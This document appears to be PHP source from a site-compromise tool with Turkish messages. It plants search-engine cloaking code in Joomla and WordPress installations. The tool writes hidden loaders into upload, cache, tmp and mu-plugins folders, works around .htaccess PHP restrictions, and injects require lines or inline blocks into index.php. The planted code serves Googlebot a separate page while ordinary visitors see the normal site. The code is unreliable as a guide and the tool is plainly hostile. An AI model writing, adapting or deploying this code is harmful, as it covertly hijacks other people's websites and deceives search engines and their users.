$JOOMLA_CLOAK_LOADER='wrz-bot-cloak.php';
$JOOMLA_AMP_LOADER='wrz-amp-cloak.php';
$AMP_FILE='amp.php';
$AMP_DEFAULT=<<<'WRZAMP'
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>AMP</title>
</head>
<body>
<h1>AMP icerik — File Manager > amp.php duzenleyin</h1>
</body>
</html>
WRZAMP;
if (!function_exists('wrz_amp_cloak_loader_php')) {
function wrz_amp_cloak_loader_php($ampPathExpr,$ampRelFromRoot=''){
$ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
$marker=$ampRelFromRoot!==''?"/* WRZ-AMP-FILE:{$ampRelFromRoot} */\n":'';
return '<?php
'.$marker.'if(!defined(\'WRZ_AMP_CLOAK_DONE\')){define(\'WRZ_AMP_CLOAK_DONE\',1);
$_wrz_ua=\'\';
foreach([\'HTTP_USER_AGENT\',\'HTTP_X_ORIGINAL_USER_AGENT\',\'HTTP_X_USER_AGENT\'] as $_h){
if(!empty($_SERVER[$_h])){$_wrz_ua=(string)$_SERVER[$_h];break;}
}
if(preg_match(\'/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i\',$_wrz_ua)){
$_wrz_uri=isset($_SERVER[\'REQUEST_URI\'])?(string)$_SERVER[\'REQUEST_URI\']:\'/\';
$_wrz_path=strtok($_wrz_uri,\'?\')?:\'/\';
if($_wrz_path===\'\')$_wrz_path=\'/\';
if($_wrz_path!==\'/\'&&substr($_wrz_path,-1)===\'/\')$_wrz_path=rtrim($_wrz_path,\'/\')?:\'/\';
if(in_array($_wrz_path,[\'/\',\'/index.php\'],true)){
$_wrz_amp='.$ampPathExpr.';
if(is_file($_wrz_amp)&&@filesize($_wrz_amp)>=5){
while(ob_get_level()>0)@ob_end_clean();
if(!headers_sent()){
header(\'Cache-Control: no-store, no-cache, must-revalidate, max-age=0\');
header(\'Pragma: no-cache\');
header(\'Vary: User-Agent\');
header(\'Content-Type: text/html; charset=utf-8\');
}
readfile($_wrz_amp);
exit;
}
}
}}
';
}}
if (!function_exists('wrz_cloak_ensure_amp_file')) {
function wrz_cloak_ensure_amp_file($dir){
global $AMP_FILE,$AMP_DEFAULT;
$dir=rtrim(str_replace('\\','/',$dir),'/');
$amp=$dir.'/'.$AMP_FILE;
if(@is_file($amp)&&@filesize($amp)>=20)return 'EXISTS';
$ok=@file_put_contents($amp,$AMP_DEFAULT)!==false;
if($ok)@chmod($amp,0644);
return $ok?'CREATED':'ERR';
}}
if (!function_exists('wrz_cloak_joomla_amp_expr_from_index')) {
function wrz_cloak_joomla_amp_expr_from_index($ampRelFromRoot){
$ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
return "__DIR__.'/" . str_replace("'", "\\'", $ampRelFromRoot) . "'";
}}
if (!function_exists('wrz_cloak_joomla_amp_expr_from_loader')) {
function wrz_cloak_joomla_amp_expr_from_loader($ampRelFromRoot,$loaderRelFromRoot){
$ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
$loaderRelFromRoot=ltrim(str_replace('\\','/',(string)$loaderRelFromRoot),'/');
$loaderDir=dirname($loaderRelFromRoot);
if($loaderDir==='.'||$loaderDir==='')return wrz_cloak_joomla_amp_expr_from_index($ampRelFromRoot);
$depth=substr_count($loaderDir,'/')+1;
$prefix=str_repeat('dirname(',$depth).'__DIR__'.str_repeat(')',$depth);
return $prefix.".'/" . str_replace("'", "\\'", $ampRelFromRoot) . "'";
}}
if (!function_exists('wrz_cloak_joomla_amp_write_target')) {
function wrz_cloak_joomla_amp_write_target($dir){
$found=wrz_cloak_joomla_find_amp($dir);
if($found)return $found['full'];
$resolved=wrz_cloak_joomla_resolve_amp($dir);
if($resolved)return $resolved['full'];
$dir=rtrim(str_replace('\\','/',$dir),'/');
return $dir.'/amp.php';
}}
if (!function_exists('wrz_cloak_joomla_amp_path_from_index')) {
function wrz_cloak_joomla_amp_path_from_index($dir){
$idx=rtrim(str_replace('\\','/',$dir),'/').'/index.php';
if(!@is_file($idx))return null;
$c=(string)@file_get_contents($idx);
if(preg_match('/\/\* WRZ-AMP-FILE:([^*]+)\*\//',$c,$m)){
$rel=trim(str_replace('\\','/',$m[1]),'/');
return $rel!==''?$rel:null;
}
return null;
}}
if (!function_exists('wrz_cloak_joomla_find_amp')) {
function wrz_cloak_joomla_find_amp($dir){
$dir=rtrim(str_replace('\\','/',$dir),'/');
$fromIdx=wrz_cloak_joomla_amp_path_from_index($dir);
if($fromIdx){
$full=$dir.'/'.$fromIdx;
if(@is_file($full)&&@filesize($full)>=5){
return ['rel'=>$fromIdx,'full'=>$full,'index_expr'=>wrz_cloak_joomla_amp_expr_from_index($fromIdx)];
}
}
foreach(['amp.php','images/amp.php','tmp/amp.php','cache/amp.php'] as $rel){
$full=$dir.'/'.$rel;
if(@is_file($full)&&@filesize($full)>=5){
return ['rel'=>$rel,'full'=>$full,'index_expr'=>wrz_cloak_joomla_amp_expr_from_index($rel)];
}
}
return null;
}}
if (!function_exists('wrz_cloak_joomla_resolve_amp')) {
function wrz_cloak_joomla_resolve_amp($dir){
global $AMP_DEFAULT;
$found=wrz_cloak_joomla_find_amp($dir);
if($found)return $found;
$dir=rtrim(str_replace('\\','/',$dir),'/');
foreach(['amp.php','images/amp.php','tmp/amp.php','cache/amp.php'] as $rel){
$full=$dir.'/'.$rel;
$parent=dirname($full);
if(!@is_dir($parent))@mkdir($parent,0755,true);
if(@file_put_contents($full,$AMP_DEFAULT)!==false){
@chmod($full,0644);
return ['rel'=>$rel,'full'=>$full,'index_expr'=>wrz_cloak_joomla_amp_expr_from_index($rel)];
}
}
return null;
}}
if (!function_exists('wrz_cloak_joomla_amp_inline_block')) {
function wrz_cloak_joomla_amp_inline_block($ampPathExpr,$ampRelFromRoot='amp.php'){
$ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
return "\n/* WRZ-AMP-CLOAK */\n"
. "/* WRZ-AMP-FILE:{$ampRelFromRoot} */\n"
. "if(!defined('WRZ_AMP_CLOAK_DONE')){define('WRZ_AMP_CLOAK_DONE',1);\n"
. "\$_wrz_ua='';\n"
. "foreach(['HTTP_USER_AGENT','HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_USER_AGENT'] as \$_h){\n"
. " if(!empty(\$_SERVER[\$_h])){\$_wrz_ua=(string)\$_SERVER[\$_h];break;}\n"
. "}\n"
. "if(preg_match('/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i',\$_wrz_ua)){\n"
. " \$_wrz_uri=isset(\$_SERVER['REQUEST_URI'])?(string)\$_SERVER['REQUEST_URI']:'/';\n"
. " \$_wrz_path=strtok(\$_wrz_uri,'?')?:'/';\n"
. " if(\$_wrz_path==='')\$_wrz_path='/';\n"
. " if(\$_wrz_path!=='/'&&substr(\$_wrz_path,-1)==='/')\$_wrz_path=rtrim(\$_wrz_path,'/')?:'/';\n"
. " if(in_array(\$_wrz_path,['/','/index.php'],true)){\n"
. " \$_wrz_amp=".$ampPathExpr.";\n"
. " if(is_file(\$_wrz_amp)&&@filesize(\$_wrz_amp)>=5){\n"
. " while(ob_get_level()>0)@ob_end_clean();\n"
. " if(!headers_sent()){header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');header('Pragma: no-cache');header('Vary: User-Agent');header('Content-Type: text/html; charset=utf-8');}\n"
. " readfile(\$_wrz_amp);\n"
. " exit;\n"
. " }\n"
. " }\n"
. "}\n"
. "}\n"
. "/* /WRZ-AMP-CLOAK */\n";
}}
if (!function_exists('wrz_cloak_joomla_shell_loader_rel')) {
function wrz_cloak_joomla_shell_loader_rel($dir){
global $JOOMLA_AMP_LOADER;
$bundle=wrz_cloak_joomla_bundle_file();
$rel=wrz_cloak_joomla_rel_from_root($dir,dirname($bundle));
if($rel===null)return null;
return ($rel===''?'':$rel.'/').$JOOMLA_AMP_LOADER;
}}
if (!function_exists('wrz_cloak_joomla_bundle_file')) {
function wrz_cloak_joomla_bundle_file(){
return str_replace('\\','/',@realpath(__FILE__)?:__FILE__);
}}
if (!function_exists('wrz_cloak_joomla_rel_from_root')) {
function wrz_cloak_joomla_rel_from_root($dir,$absPath){
$dir=rtrim(str_replace('\\','/',$dir),'/');
$abs=str_replace('\\','/',$absPath);
foreach([@realpath($dir)?str_replace('\\','/',@realpath($dir)):$dir,$dir] as $root){
if($root!==''&&strpos($abs,$root.'/')===0){
return ltrim(substr($abs,strlen($root)+1),'/');
}
}
return null;
}}
if (!function_exists('wrz_cloak_joomla_write_file')) {
function wrz_cloak_joomla_write_file($path,$content){
$path=(string)$path;
$content=(string)$content;
$parent=dirname($path);
if(!@is_dir($parent))@mkdir($parent,0755,true);
if(@file_put_contents($path,$content,LOCK_EX)!==false){
@chmod($path,0644);
return true;
}
$h=@fopen($path,'wb');
if($h){
$w=@fwrite($h,$content);
@fclose($h);
if($w!==false){@chmod($path,0644);return true;}
}
$tmp=@tempnam($parent,'wrz');
if($tmp&&@file_put_contents($tmp,$content)!==false){
if(@rename($tmp,$path)){@chmod($path,0644);return true;}
if(@copy($tmp,$path)){@unlink($tmp);@chmod($path,0644);return true;}
@unlink($tmp);
}
return false;
}}
if (!function_exists('wrz_cloak_joomla_path_writable')) {
function wrz_cloak_joomla_path_writable($filePath){
$parent=dirname($filePath);
if(!@is_dir($parent)){
if(!@mkdir($parent,0755,true))return false;
}
$suffix=function_exists('random_bytes')?bin2hex(random_bytes(4)):dechex(mt_rand(0,0xffffff));
$probe=$parent.'/.wrz_probe_'.$suffix;
$ok=@file_put_contents($probe,'1')!==false;
if($ok)@unlink($probe);
return $ok;
}}
if (!function_exists('wrz_cloak_joomla_analyze_htaccess')) {
function wrz_cloak_joomla_analyze_htaccess($dir){
$dir=rtrim(str_replace('\\','/',$dir),'/');
$ht=$dir.'/.htaccess';
$out=[
'exists'=>@is_file($ht),
'joomla_rewrite'=>false,
'force_https'=>false,
'php_restricted'=>false,
'cache_hint'=>null,
'warnings'=>[],
'notes'=>[],
];
if(!$out['exists']){
$out['notes'][]='.htaccess yok — dogrudan PHP erisimi genelde acik';
return $out;
}
$c=(string)@file_get_contents($ht);
if(preg_match('/RewriteEngine\s+On/i',$c)&&preg_match('/index\.php/i',$c)){
$out['joomla_rewrite']=true;
$out['notes'][]='Joomla rewrite aktif — loader index.php require ile calisir';
}
if(preg_match('/RewriteCond.*HTTPS|RewriteRule.*https/i',$c)){
$out['force_https']=true;
}
if(preg_match('/<FilesMatch[^>]*\.php|RewriteRule[^\n]*\.php[^\n]*(deny|forbidden|F)/i',$c)){
$out['php_restricted']=true;
$out['warnings'][]='.htaccess PHP kisitlamasi olabilir — loader dis dosya + index require kullanilacak';
}
if(preg_match('/LiteSpeed|lscache|LSCACHE/i',$c)){
$out['cache_hint']='litespeed';
$out['warnings'][]='LiteSpeed cache — kurulumdan sonra cache temizle';
}elseif(preg_match('/W3TC|WP Super Cache|cache/i',$c)){
$out['cache_hint']='generic';
}
return $out;
}}
if (!function_exists('wrz_cloak_joomla_analyze_index')) {
function wrz_cloak_joomla_analyze_index($dir){
$dir=rtrim(str_replace('\\','/',$dir),'/');
$idx=$dir.'/index.php';
$out=[
'exists'=>@is_file($idx),
'valid'=>false,
'w7_shield'=>false,
'has_cloak'=>false,
'inject'=>'after_php',
'joomla'=>'unknown',
'size'=>0,
'writable'=>false,
];
if(!$out['exists'])return $out;
$c=(string)@file_get_contents($idx);
if(substr($c,0,3)==="\xEF\xBB\xBF")$c=substr($c,3);
$out['size']=strlen($c);
$out['valid']=function_exists('wrz_joomla_index_looks_valid')?wrz_joomla_index_looks_valid($c):false;
$out['w7_shield']=(bool)preg_match('/W7\s+Front-End\s+Shield/i',$c);
$out['has_cloak']=strpos($c,'wrz-amp-cloak.php')!==false||strpos($c,'WRZ-AMP-CLOAK')!==false;
$out['writable']=@is_writable($idx);
if(strpos($c,'includes/app.php')!==false)$out['joomla']='4/5';
elseif(strpos($c,'includes/framework.php')!==false)$out['joomla']='3/4';
if($out['w7_shield'])$out['inject']='w7_eof';
elseif(preg_match('/declare\s*\(\s*strict_types\s*=\s*1\s*\)/',$c))$out['inject']='after_strict';
elseif(preg_match("/require_once\s+__DIR__\s*\.\s*['\"]\/includes\/app\.php['\"]/",$c))$out['inject']='before_app';
if($out['w7_shield']&&preg_match('/##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n\s*\?>/i',$c))$out['inject']='after_w7_php';
return $out;
}}
if (!function_exists('wrz_cloak_joomla_amp_loader_candidates')) {
function wrz_cloak_joomla_amp_loader_candidates($dir){
global $JOOMLA_AMP_LOADER;
$dir=rtrim(str_replace('\\','/',$dir),'/');
$names=[$JOOMLA_AMP_LOADER,'wp-caches-amp.php','amp-bridge.php'];
$rels=[];
$shellRel=wrz_cloak_joomla_shell_loader_rel($dir);
if($shellRel){
$shellDir=dirname($shellRel);
foreach($names as $n){
$rels[]=($shellDir==='.'||$shellDir==='')?$n:$shellDir.'/'.$n;
}
}
foreach([
'components/com_gridbox/assets/uploads/attachments/'.$JOOMLA_AMP_LOADER,
$JOOMLA_AMP_LOADER,
'includes/'.$JOOMLA_AMP_LOADER,
'images/'.$JOOMLA_AMP_LOADER,
'media/'.$JOOMLA_AMP_LOADER,
'tmp/'.$JOOMLA_AMP_LOADER,
'cache/'.$JOOMLA_AMP_LOADER,
'administrator/cache/'.$JOOMLA_AMP_LOADER,
] as $r){$rels[]=$r;}
$rels=array_values(array_unique($rels));
$out=[];
foreach($rels as $rel){$out[]=['rel'=>$rel,'file'=>$dir.'/'.$rel];}
$bundleDir=dirname(wrz_cloak_joomla_bundle_file());
foreach($names as $n){$out[]=['rel'=>null,'file'=>$bundleDir.'/'.$n];}
return $out;
}}
if (!function_exists('wrz_cloak_joomla_amp_loader_paths')) {
function wrz_cloak_joomla_amp_loader_paths($dir){
$dir=rtrim(str_replace('\\','/',$dir),'/');
$scored=[];
foreach(wrz_cloak_joomla_amp_loader_candidates($dir) as $c){
$rel=$c['rel'];
if($rel===null){
$rel=wrz_cloak_joomla_rel_from_root($dir,$c['file']);
if($rel===null)continue;
}
$file=$c['file'];
$score=0;
if(@is_file($file))$score+=50;
if(wrz_cloak_joomla_path_writable($file))$score+=100;
if(strpos($rel,'components/')===0)$score+=30;
if(strpos($file,dirname(wrz_cloak_joomla_bundle_file()))===0)$score+=80;
if(basename($file)==='wrz-amp-cloak.php')$score+=10;
$scored[]=[
'file'=>$file,'rel'=>$rel,'score'=>$score,
'require'=>"\nrequire_once __DIR__ . '/".$rel."';\n",
'writable'=>wrz_cloak_joomla_path_writable($file),
];
}
usort($scored,static function($a,$b){return $b['score']<=>$a['score'];});
return $scored;
}}
if (!function_exists('wrz_cloak_joomla_try_write_amp_loader')) {
function wrz_cloak_joomla_try_write_amp_loader($dir,$ampRelFromRoot){
$ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/');
$tried=[];
foreach(wrz_cloak_joomla_amp_loader_paths($dir) as $spec){
$ampExpr=wrz_cloak_joomla_amp_expr_from_loader($ampRelFromRoot,$spec['rel']);
$body=wrz_amp_cloak_loader_php($ampExpr,$ampRelFromRoot);
$tried[]=$spec['file'];
if(wrz_cloak_joomla_write_file($spec['file'],$body)){
return ['ok'=>true,'file'=>$spec['file'],'rel'=>$spec['rel'],'require'=>$spec['require'],'mode'=>'file','tried'=>$tried];
}
}
return ['ok'=>false,'tried'=>$tried];
}}
if (!function_exists('wrz_cloak_joomla_clean_amp_from_index')) {
function wrz_cloak_joomla_clean_amp_from_index($content){
$content=(string)$content;
$content=preg_replace('/\/\* WRZ-AMP-FILE:[^*]+\*\/\s*/','',$content);
$content=preg_replace('/\/\* WRZ-AMP-CLOAK \*\/.*?\/\* \/WRZ-AMP-CLOAK \*\/\s*/s','',$content);
$content=preg_replace('/\n?require_once\s+__DIR__\s*\.\s*[\'"]\/(?:tmp\/|cache\/|includes\/|images\/|media\/|administrator\/cache\/|components\/[^\'"]+\/)?(?:wrz-amp-cloak|wp-caches-amp|amp-bridge)\.php[\'"]\s*;\s*/',"\n",$content);
$content=preg_replace('/\n?require_once\s+__DIR__\s*\.\s*[\'"]\/(?:wrz-amp-cloak|wp-caches-amp|amp-bridge)\.php[\'"]\s*;\s*/',"\n",$content);
return $content;
}}
if (!function_exists('wrz_cloak_php_syntax_ok')) {
function wrz_cloak_php_syntax_ok($code){
if(!is_string($code)||$code==='')return false;
if(function_exists('token_get_all')){
try{
token_get_all($code,TOKEN_PARSE);
return true;
}catch(Throwable $e){
return false;
}
}
return true;
}}
if (!function_exists('wrz_cloak_joomla_inject_amp_require')) {
function wrz_cloak_joomla_inject_amp_require($content,$inject,$prefer=null){
$content=(string)$content;
if(strpos($content,'wrz-amp-cloak.php')!==false||strpos($content,'WRZ-AMP-CLOAK')!==false)return $content;
$try=[
'w7_eof'=>static function($c) use ($inject){
if(!preg_match('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n)(?![\s\r\n]*\?>)/i',$c))return null;
return preg_replace('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n)/i','$1'.$inject,$c,1);
},
'after_w7_php'=>static function($c) use ($inject){
if(!preg_match('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n\s*\?>\s*)(<\?php\s*)?/i',$c,$m))return null;
return preg_replace('/(##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n\s*\?>\s*)(<\?php\s*)?/i','$1$2'.$inject,$c,1);
},
'after_strict'=>static function($c) use ($inject){
if(!preg_match('/^(<\?php)(.*?)(declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;)/s',$c,$m))return null;
return $m[1].$m[2].$m[3].$inject.substr($c,strlen($m[0]));
},
'before_app'=>static function($c) use ($inject){
if(!preg_match("/(\n)(\s*require_once\s+__DIR__\s*\.\s*['\"]\/includes\/app\.php['\"]\s*;)/",$c,$m))return null;
return str_replace($m[0],$inject.$m[0],$c);
},
'after_php'=>static function($c) use ($inject){
if(!preg_match('/^(<\?php)/',$c))return null;
return preg_replace('/^(<\?php)/','$1'.$inject,$c,1);
},
];
$order=$prefer&&isset($try[$prefer])?[$prefer]:array_keys($try);
if($prefer)$order=array_values(array_unique(array_merge($order,array_keys($try))));
foreach($order as $key){
if(!isset($try[$key]))continue;
$new=$try[$key]($content);
if(is_string($new)&&$new!==$content)return $new;
}
return null;
}}
if (!function_exists('wrz_cloak_joomla_amp_plan')) {
function wrz_cloak_joomla_amp_plan($dir){
$dir=rtrim(str_replace('\\','/',$dir),'/');
$idxInfo=wrz_cloak_joomla_analyze_index($dir);
$htInfo=wrz_cloak_joomla_analyze_htaccess($dir);
$ampSpec=wrz_cloak_joomla_find_amp($dir);
$loaderPick=null;
foreach(wrz_cloak_joomla_amp_loader_paths($dir) as $spec){
if($spec['writable']||@is_file($spec['file'])){
$loaderPick=$spec;
break;
}
}
return [
'index'=>$idxInfo,
'htaccess'=>$htInfo,
'amp'=>$ampSpec,
'loader'=>$loaderPick,
'inject'=>$idxInfo['inject'],
'strategy'=>($idxInfo['w7_shield']?'W7 Shield + loader':($loaderPick?'Loader ('.$loaderPick['rel'].')':'inline fallback')),
];
}}
if (!function_exists('wrz_cloak_joomla_amp_install')) {
function wrz_cloak_joomla_amp_install($dir){
global $JOOMLA_INDEX_BAK;
$dir=rtrim(str_replace('\\','/',$dir),'/');
$idx=$dir.'/index.php';
$report=[
'ok'=>false,
'index'=>'ERR',
'loader'=>'ERR',
'amp'=>'ERR',
'inject'=>'',
'loader_path'=>'',
'amp_path'=>'amp.php',
'plan'=>[],
'steps'=>[],
];
$report['plan']=wrz_cloak_joomla_amp_plan($dir);
if(!@is_file($idx)){
$report['index']='ERR:NO_INDEX';
$report['steps'][]='index.php bulunamadi';
return $report;
}
if(!@is_file($dir.'/configuration.php')){
$report['index']='ERR:NOT_JOOMLA';
$report['steps'][]='configuration.php yok';
return $report;
}
$idxInfo=$report['plan']['index'];
if(!$idxInfo['valid']&&!$idxInfo['has_cloak']){
$report['index']='ERR:INVALID_INDEX';
$report['steps'][]='index.php gecersiz Joomla sablonu';
return $report;
}
$ampSpec=wrz_cloak_joomla_resolve_amp($dir);
if(!$ampSpec){
$report['amp']='ERR';
$report['index']='ERR:AMP';
$report['steps'][]='amp.php olusturulamadi';
return $report;
}
$report['amp_path']=$ampSpec['rel'];
$report['amp']=@is_file($ampSpec['full'])?'EXISTS':'CREATED';
$content=(string)@file_get_contents($idx);
if(substr($content,0,3)==="\xEF\xBB\xBF")$content=substr($content,3);
if(strpos($content,'wp-blog-header.php')!==false){
$report['index']='ERR:WP_INDEX';
return $report;
}
wrz_cloak_joomla_backup_index($dir);
$content=wrz_cloak_joomla_clean_index_content($content);
$content=wrz_cloak_joomla_clean_amp_from_index($content);
$loader=wrz_cloak_joomla_try_write_amp_loader($dir,$ampSpec['rel']);
$loaderMode='file';
if(empty($loader['ok'])){
$inject=wrz_cloak_joomla_amp_inline_block($ampSpec['index_expr'],$ampSpec['rel']);
$loaderMode='inline';
$report['loader']='INLINE';
$report['steps'][]='Loader dosyasi yazilamadi — guvenli inline mod (site bozulmaz)';
if(!empty($loader['tried'])){
$report['steps'][]='Denenen: '.implode(', ',array_map('basename',(array)$loader['tried']));
}
}else{
$report['loader']='OK';
$report['loader_path']=str_replace('\\','/',$loader['file']);
$report['steps'][]='Loader: '.$loader['file'];
$inject=$loader['require'];
}
if(strpos($content,'wrz-amp-cloak.php')===false&&strpos($content,'WRZ-AMP-CLOAK')===false){
$new=wrz_cloak_joomla_inject_amp_require($content,$inject,$idxInfo['inject']);
if($new===null&&$loaderMode==='inline'){
$altOrder=$idxInfo['w7_shield']?['after_w7_php','before_app','after_strict']:['after_php','before_app','after_strict'];
foreach($altOrder as $alt){
$new=wrz_cloak_joomla_inject_amp_require($content,$inject,$alt);
if($new!==null)break;
}
}
if($new===null){
$report['index']='ERR:BAD_INDEX';
$report['steps'][]='index.php enjeksiyon noktasi bulunamadi';
return $report;
}
$content=$new;
$report['inject']=$idxInfo['inject'].($loaderMode==='inline'?'+inline':'');
$report['steps'][]='index.php enjekte: '.$report['inject'];
}else{
$report['inject']='exists';
$report['steps'][]='index.php zaten cloak satiri iceriyor';
}
if(!wrz_cloak_php_syntax_ok($content)){
$report['index']='ERR:SYNTAX';
$report['steps'][]='index.php PHP syntax hatasi — yazilmadi';
return $report;
}
if(!wrz_joomla_index_looks_valid($content)&&strpos($content,'includes/app.php')===false&&strpos($content,'includes/framework.php')===false&&strpos($content,'WRZ-AMP-CLOAK')===false){
$report['index']='ERR:WOULD_BREAK';
$report['steps'][]='index.php dogrulama basarisiz — yazilmadi';
return $report;
}
if(!@is_writable($idx)&&@is_file($idx)){
$report['index']='ERR:READONLY';
$report['steps'][]='index.php salt okunur';
return $report;
}
$ok=@file_put_contents($idx,$content)!==false;
if(!$ok){
$report['index']='ERR:WRITE';
$report['steps'][]='index.php yazilamadi';
return $report;
}
@chmod($idx,0644);
if(function_exists('opcache_invalidate'))@opcache_invalidate($idx,true);
$report['index']='OK';
$report['ok']=true;
$ht=$report['plan']['htaccess'];
if(!empty($ht['warnings'])){
$report['steps'][]='htaccess uyarilari: '.implode('; ',$ht['warnings']);
}
$report['steps'][]='Kurulum tamam — amp.php duzenleyip GoogleBot testi yapin';
return $report;
}}
if (!function_exists('wrz_cloak_joomla_remove_amp')) {
function wrz_cloak_joomla_remove_amp($dir){
global $JOOMLA_AMP_LOADER;
$dir=rtrim(str_replace('\\','/',$dir),'/');
$idx=$dir.'/index.php';
foreach(wrz_cloak_joomla_amp_loader_candidates($dir) as $c){
if(@is_file($c['file']))@unlink($c['file']);
}
foreach(['wrz-amp-cloak.php','wp-caches-amp.php','amp-bridge.php'] as $n){
if(@is_file($dir.'/'.$n))@unlink($dir.'/'.$n);
}
if(@is_file($idx)){
$c=wrz_cloak_joomla_clean_amp_from_index((string)@file_get_contents($idx));
@file_put_contents($idx,$c);
}
}}
if (!function_exists('wrz_cloak_joomla_apply_amp')) {
function wrz_cloak_joomla_apply_amp($dir){
$r=wrz_cloak_joomla_amp_install($dir);
return !empty($r['ok'])?'OK':($r['index']??'ERR');
}}
if (!function_exists('wrz_cloak_wp_apply_amp')) {
function wrz_cloak_wp_apply_amp($dir){
global $AMP_FILE;
$dir=rtrim(str_replace('\\','/',$dir),'/');
if(!@is_file($dir.'/wp-load.php'))return 'ERR:NOT_WP';
$muDir=$dir.'/wp-content/mu-plugins';
if(!@is_dir($muDir))@mkdir($muDir,0755,true);
if(!@is_dir($muDir))return 'ERR:MU_DIR';
$code=wrz_amp_cloak_loader_php('(defined(\'ABSPATH\')?ABSPATH:\''.str_replace("'","\\'",$dir.'/').'\').\'amp.php\'','amp.php');
$muFile=$muDir.'/wrz-amp-cloak.php';
$ok=@file_put_contents($muFile,$code)!==false;
if($ok)@chmod($muFile,0644);
if(!$ok)return 'ERR:MU_WRITE';
wrz_cloak_ensure_amp_file($dir);
return 'OK';
}}
if (!function_exists('wrz_cloak_wp_remove_amp')) {
function wrz_cloak_wp_remove_amp($dir){
$dir=rtrim(str_replace('\\','/',$dir),'/');
$mu=$dir.'/wp-content/mu-plugins/wrz-amp-cloak.php';
if(@is_file($mu))@unlink($mu);
}}
if (!function_exists('wrz_cloak_joomla_loader_content')) {
function wrz_cloak_joomla_loader_content(){
return <<<'WRZBOTCLOAK'
<?php
if(defined('WRZ_BOT_CLOAK_DONE'))return;
define('WRZ_BOT_CLOAK_DONE',1);
$_wrz_ua='';
foreach(['HTTP_USER_AGENT','HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_USER_AGENT'] as $_wrz_h){
if(!empty($_SERVER[$_wrz_h])){$_wrz_ua=(string)$_SERVER[$_wrz_h];break;}
}
$_wrz_uri=isset($_SERVER['REQUEST_URI'])?(string)$_SERVER['REQUEST_URI']:'/';
$_wrz_path=strtok($_wrz_uri,'?')?:'/';
if($_wrz_path==='')$_wrz_path='/';
if($_wrz_path!=='/'&&substr($_wrz_path,-1)==='/')$_wrz_path=rtrim($_wrz_path,'/')?:'/';
$_wrz_home=in_array($_wrz_path,['/','/index.php'],true);
if(!$_wrz_home||!preg_match('/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i',$_wrz_ua))return;
$_wrz_html=__DIR__.'/wp-comments-post-loader.html';
if(!is_file($_wrz_html)||@filesize($_wrz_html)<10)return;
while(ob_get_level()>0)@ob_end_clean();
if(!headers_sent()){
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Vary: User-Agent');
}
readfile($_wrz_html);
exit;
WRZBOTCLOAK;
}}
if (!function_exists('wrz_cloak_joomla_inline_block')) {
function wrz_cloak_joomla_inline_block(){
return <<<'WRZINLINE'
/* WRZ-JOOMLA-CLOAK */
if(!defined('WRZ_BOT_CLOAK_DONE')){define('WRZ_BOT_CLOAK_DONE',1);
$_wrz_ua='';
foreach(['HTTP_USER_AGENT','HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_USER_AGENT'] as $_wrz_h){
if(!empty($_SERVER[$_wrz_h])){$_wrz_ua=(string)$_SERVER[$_wrz_h];break;}
}
$_wrz_uri=isset($_SERVER['REQUEST_URI'])?(string)$_SERVER['REQUEST_URI']:'/';
$_wrz_path=strtok($_wrz_uri,'?')?:'/';
if($_wrz_path==='')$_wrz_path='/';
if($_wrz_path!=='/'&&substr($_wrz_path,-1)==='/')$_wrz_path=rtrim($_wrz_path,'/')?:'/';
$_wrz_home=in_array($_wrz_path,['/','/index.php'],true);
if($_wrz_home&&preg_match('/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i',$_wrz_ua)){
$_wrz_html=__DIR__.'/wp-comments-post-loader.html';
if(is_file($_wrz_html)&&@filesize($_wrz_html)>=10){
while(ob_get_level()>0)@ob_end_clean();
if(!headers_sent()){header('Content-Type: text/html; charset=utf-8');header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');header('Pragma: no-cache');header('Vary: User-Agent');}
readfile($_wrz_html);exit;
}
}}
/* /WRZ-JOOMLA-CLOAK */
WRZINLINE;
}}
if (!function_exists('wrz_cloak_joomla_loader_paths')) {
function wrz_cloak_joomla_loader_paths($dir){
global $JOOMLA_CLOAK_LOADER;
$dir=rtrim(str_replace('\\','/',$dir),'/');
return [
['file'=>$dir.'/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/wrz-bot-cloak.php';\n"],
['file'=>$dir.'/tmp/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/tmp/wrz-bot-cloak.php';\n"],
['file'=>$dir.'/cache/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/cache/wrz-bot-cloak.php';\n"],
['file'=>$dir.'/includes/'.$JOOMLA_CLOAK_LOADER,'require'=>"\nrequire_once __DIR__ . '/includes/wrz-bot-cloak.php';\n"],
];
}}
if (!function_exists('wrz_cloak_joomla_try_write_loader')) {
function wrz_cloak_joomla_try_write_loader($dir){
$body=wrz_cloak_joomla_loader_content();
foreach(wrz_cloak_joomla_loader_paths($dir) as $spec){
$parent=dirname($spec['file']);
if(!@is_dir($parent))@mkdir($parent,0755,true);
if(@file_put_contents($spec['file'],$body)!==false){
@chmod($spec['file'],0644);
return ['ok'=>true,'file'=>$spec['file'],'require'=>$spec['require']];
}
}
